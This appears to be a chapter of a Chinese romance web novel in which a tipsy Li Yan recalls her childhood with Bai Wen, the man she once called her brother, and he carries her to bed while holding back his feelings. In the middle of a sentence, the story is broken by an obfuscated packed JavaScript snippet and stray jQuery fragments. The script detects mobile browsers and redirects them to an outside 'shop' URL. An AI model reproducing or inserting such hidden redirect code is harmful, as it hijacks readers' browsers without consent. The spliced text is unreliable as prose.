黎宴换了身米白色丝质睡袍，推开卧室门走了出来。
连轴转行程带来的疲惫像被热水泡软了，沉甸甸地揉进她的四肢深处，可大脑却处于一种奇异的清醒状态，过度疲劳后反而睡不着了。
黎宴走到沙发前，目光落向茶几上那支酒店送来的香槟，冰桶里的冰块已经化了大半。她起开软木塞，金黄的酒液缓缓倒入杯中，升起细密的气泡。
夏夜里来上一杯冰酒很惬意，她第一口喝得很慢，陷进沙发里闭上眼睛，脑子里却全是问题。
关于柏闻这四年的经历，他具体在做什么？后颈的疤是怎么来的？他对她到底隐瞒了什么？他现在对她又是怎么想的？
这些疑惑像刺一样扎在她喉咙里，咽不下去，问不出来。
她起开这瓶酒的时候，原本想过借着酒劲问的。
黎宴睁开眼，看向安保间的方向，门缝里透出一点微光。
她又很怕。
那些让柏闻宁愿一刀两断也要隐瞒的真相，他绝对不会说出口。她怕自己问了，会破坏这些日子好不容易建立起来的关系，怕他又会变回那个客气疏离的柏队长，怕就连现在这样别扭的，总隔着几步距离的陪伴都会失去。
可她也没有多少时间，剧组杀青就会离开孟甘，到时候柏闻怎么办？他会愿意和她一起回国吗？还是继续留在这里？
他们的关系……还能回到从前吗？
黎宴心乱如麻。
于是她又倒了第二杯，第三杯……
随着时间流逝，酒精开始发挥作用，身边变暖，脸也发烫。在她不知道喝下第几杯时，她已经不去想那些问题了，打断用酒精填满心里某个空洞的地方。
恍惚间她甚至觉得这样做才是对的，只有喝到想不了，才能有个安心的睡眠。
然而下一杯喝到一半时，一道高大的影子笼罩下来，拿走了她的酒杯。
黎宴愣愣抬头。
柏闻不知何时站在了她面前，他换了件灰色的棉质T恤和运动裤，发梢还有点湿，今天的洗澡效率比从前慢好多。
黎宴打量着他，客厅冷调的光线下，他的五官显得格外深邃英俊，就是眉心似乎蹙着，美中不足。
“你今晚还有工作。”他低声提醒，意思很明显。
黎宴的目光落向他拿走酒杯的那只手，修长又漂亮，骨节分明，手背上有青筋微微凸起。她以前就喜欢玩他的手，总想不通那么大个篮球，他是怎么稳稳抓在手里，甚至还能轻轻松松就扣进篮筐的。
是了，青春期的时候，他还举着她扣过篮来着。
见黎宴愣着不说话，柏闻伸手在她眼前晃了晃：“黎宴？”
恍惚间，黎宴觉得这画面很熟悉。
小时候她偷喝爷爷泡的药酒，被柏闻当场抓获，他也是这样拿走她手里的酒勺，皱着眉说：“别喝这个，很辣的。”
那时她会耍赖，会撒娇，会因为没尝到滋味，就抱着他的胳膊央求：“就一口嘛哥哥，就一口。”
而现在……
黎宴望进柏闻的眼睛，他的眼神很深，里面有很多她看不懂的东西。小时候看不懂，青春期看不懂，现在她都已经是大人了，为什么还是这样？
为什么只有那一点关心没变，而她只看得懂这个？
柏闻还是会关心她，只是他不再承认自己是哥哥，也不会再叫她妹妹了。
一想到这，黎宴只觉得一股莫大的委屈与悲伤涌了上来，在酒精的催化下，让她的鼻子酸得一塌糊涂。
“你管我？”
她听见自己的声音，很酷很桀骜不驯，伸手去抢那杯酒，软绵绵地没什么力气。
柏闻轻而易举将酒杯抬高：“别喝了。”
他的语气很平静，目光自头顶落下来，不压迫，却也没有商量的余地。
黎宴盯着他看了好一会儿，忽然笑了，只是有点苦涩。
“这才对嘛……”她轻声说，像在自言自语，“这才是哥哥的样子。”
柏闻一怔。
黎宴没察觉，也不再抢那杯酒，整个人陷进沙发，抬起手臂遮住眼睛。
“小时候……我偷喝酒，你就是这样管我的。”
她的声音自手臂下方传来，又低又闷。
“初二暑假我偷偷去打耳洞，用头发遮着。有次洗完头忘了这回事，被你抓去吹干时露馅了。你捏着我的耳垂看，问我怎么发炎了，我嘴硬说是蚊子咬的，你就什么都没说了。”
“第二天起床，我就看见桌子上多了消毒棉片和一副新耳钉。你说要用就用好一点的，别贪便宜把自己弄伤了。”
黎宴一字一句回忆着，柏闻静默地站在她面前，只觉得每个字都像钉子，一下一下在他心上敲。
“半夜我躲在被子里玩手机，听见你开门检查也不怕。没想到你突然发消息，问我明天早饭吃什么，看见枕头旁边没有手机亮屏，你就进来抓我了。”
“有一年冬天我用冷水洗头，因为听说那样头发会更亮。被你发现后，每次洗头你都搬个小凳子坐在旁边监督，还威胁我，说我要是再这样，你就去建议爷爷奶奶给我剪个妹妹头。我当时恨死你了，觉得天底下没有比你更坏的哥哥了。”
她说到这里顿了顿，声音轻下去，像一片漂泊无依的落叶。
“可现在……我连这样的哥哥也没有了。”
客厅里安静得落针可闻，柏闻艰涩地滚了滚喉结，这些回忆变成了生锈的钝刀，割在他心口最软的那块肉上。
他看着她倔强抬起的手臂，看着她醉意朦胧的样子，看着她微微张开的唇，水光盈盈，樱红饱满。
“黎宴。”他开口。
“你喝多了，该睡了。”
黎宴半眯着眼仰头，朝他伸手：“那你抱我回去，走不动了……”
她语调绵软，理所应当得像小时候朝他讨要糖果吃。他看着伸过来的那只手，睡袍的袖子往下滑了一截。她的手腕很细，眼神迷蒙又无辜，完全不认为这个要求有什么不可被满足的。
柏闻的理智在反复拉扯。
在她眼中他一直是哥哥，哪怕再见面后，彼此的关系还没有一个正式的结果，她也心安理得当他是哥哥。
可若他心不安呢？
他们明明都已经是大人了。
“自己走。”柏闻狠心道，用力摁下了那股本能的冲动。
黎宴的手僵在半空，她委屈地看着他，然后慢慢把手收回去，耷拉着红扑扑的脸。
“你不是哥哥。”她小声嘟囔，语气里满是失望。
“哥哥不会这样。”
柏闻的呼吸滞了一下，内心又酸又胀。
他想起方宁那些话，想起四年前从普湄南的出租屋里哭着跑走的她，想起她一个人生活的这四年，想起社交平台上他保存的那一张张笑脸背后，全是她藏起来的寂寞与眼泪……
这一刻，那根绷在心底多年的弦，终于轻轻颤动。
“什么才算是哥哥？”他听见自己问。
柏闻往前走了一步，居高临下地看着她，目光深深。黎宴仰头回看他，看了很久很久，忽然狡黠地扬起唇角。
她的声音又甜又软。
“你靠过来一点，我就告诉你。”
柏闻犹豫了一秒。
就这一秒，黎宴已经伸手抓住了他的衣角。醉酒的她其实没什么力气，只轻轻一拽，柏闻便顺着那股力道，坐在了她身边。
沙发下陷，两人的距离瞬间拉近。
然后黎宴就凑了过来。
她手脚并用地钻进他怀里，手臂环住他劲窄的腰，把脸埋在他的颈窝。动作亲昵又自然，仿佛他们之间从未有过四年的空白。
柏闻的手悬在半空。
他能感觉到她身体的柔软，能感觉到她气息的温热，甚至是她的睫毛轻轻扫过时带起的酥痒。她的睡袍因动作而敞开了些，露出领口下白皙细腻的皮肤，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076581|193952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沐浴后的香气丝丝缕缕地缠绕进他的呼吸。
柏闻仿佛在打一场硬仗，血液沿着全身血管冲向同一个地方。他想推开她，想保持距离，想维持那点可怜的理智。可她的手环得太紧，她的呼吸太真实，她的身体太温暖。
哥哥是个卑劣的懦夫。
忽然，黎宴贴上他的耳廓，气息洒在他的皮肤上，激起一阵细密的战栗。
“哥哥就是……会在下雨天来学校接我，自己淋湿了，也会把伞向我倾斜。”
她的声音很轻，像在讲一个遥远的童话。
“在打雷的雨天抱着我睡觉，哪怕我半夜踢被子把他也踢下床，他都不会生气。”
“会在所有人都说我妈妈不要我的时候，牵着我的手一遍遍告诉我，他要我，他爱我，他会给我全部。”
“哥哥就是会……”
她说着，声音哽咽。
“在我最需要他的时候，永远都在。如果哥哥需要我，也不会口是心非地抛下我……”
最后一个字的尾音落下时，柏闻察觉了颈间湿润的凉意。
她在哭。
那些眼泪无声而安静，一颗一颗，沿着他的锁骨滑落，钻进衣服领口，烫得他心口刺痛。
终于，那只悬着的手落下了，很轻很轻，环住她的背。又一下一下，像小时候哄她睡觉那样，轻柔地拍着。
时间仿佛在这一刻静止。
客厅里只有昏暗的冷光，窗外的城市已经沉睡，偶尔会有几声从远处传来的车鸣。茶几上的香槟杯里，气泡缓慢上升，然后一粒粒破碎。
柏闻抱着她，额头抵着她柔软的发顶，她攥着他的衣服不松手。
那点细微的哭声让他的整颗心脏都在发颤，渐渐的又没了动静。柏闻低下头，看着怀里单薄的身影。她闭着眼，睫毛上挂着泪珠，脸颊因为酒精和哭泣而泛着红晕，嘴唇微微张开，呼吸轻柔灼热。
像熟透的果实，散发着诱人的香气。
他知道她醉了，也知道明天醒来她可能什么都不记得，知道现在的一切，都建立在她不清醒的状态上。
可他还是开了口。
“如果……”他的声音哑得厉害，低得几乎听不见。
“如果比你说的这些做得更多，还可以是哥哥吗？”
黎宴在他怀里动了动，含糊地发出了个疑惑的音节，像是没听清，又像是已经半睡半醒。
柏闻看着她近在咫尺的脸，她的睫毛长而卷，嘴唇柔嫩泛着水光，微微张开一条缝。
他的心脏从未跳动得如此疯狂，几乎要从喉咙里蹦出来。目光在她脸上停留了很久，从眼睛描摹到鼻尖，最后缓缓落向嘴唇。
他的嗓音更哑了。
“如果变成其他样子……还可以是哥哥吗？”
黎宴没有回应。
她靠在他肩上，呼吸渐渐平稳绵长，已经睡了。
柏闻等了一会儿，确定她真的睡熟了，才又开口，轻轻叹息。
“如果喜欢你……还可以是哥哥吗？”
没有回答。
客厅里一片寂静，只有她的呼吸声萦绕在耳边，裹挟着他混乱的心跳。
柏闻闭上眼，深吸了一口气，再缓缓吐出。
他收敛了所有神情，一只手穿过她的膝弯，另一只手托住她的背，将她横抱而起。
她很轻，睡得很深，被他抱起来时只是无意识地哼了一声，往他怀里缩了缩。
柏闻抱着她稳步走回卧室，月光透过窗帘缝隙洒进来，在地板上切出一道银白色的线。
他将她放在床上，拉过被子盖好。她刚一上床就蜷成一团，眉头微微蹙着，在梦里也不安稳。
柏闻轻轻坐在窗边，目光不瞬地看她。
很久之后，他弯下腰，很轻很轻地，在她紧蹙的眉间落下一个吻。
“不怕，不怕…”他像小时候那样，温声安慰做噩梦的她。
“哥哥在。”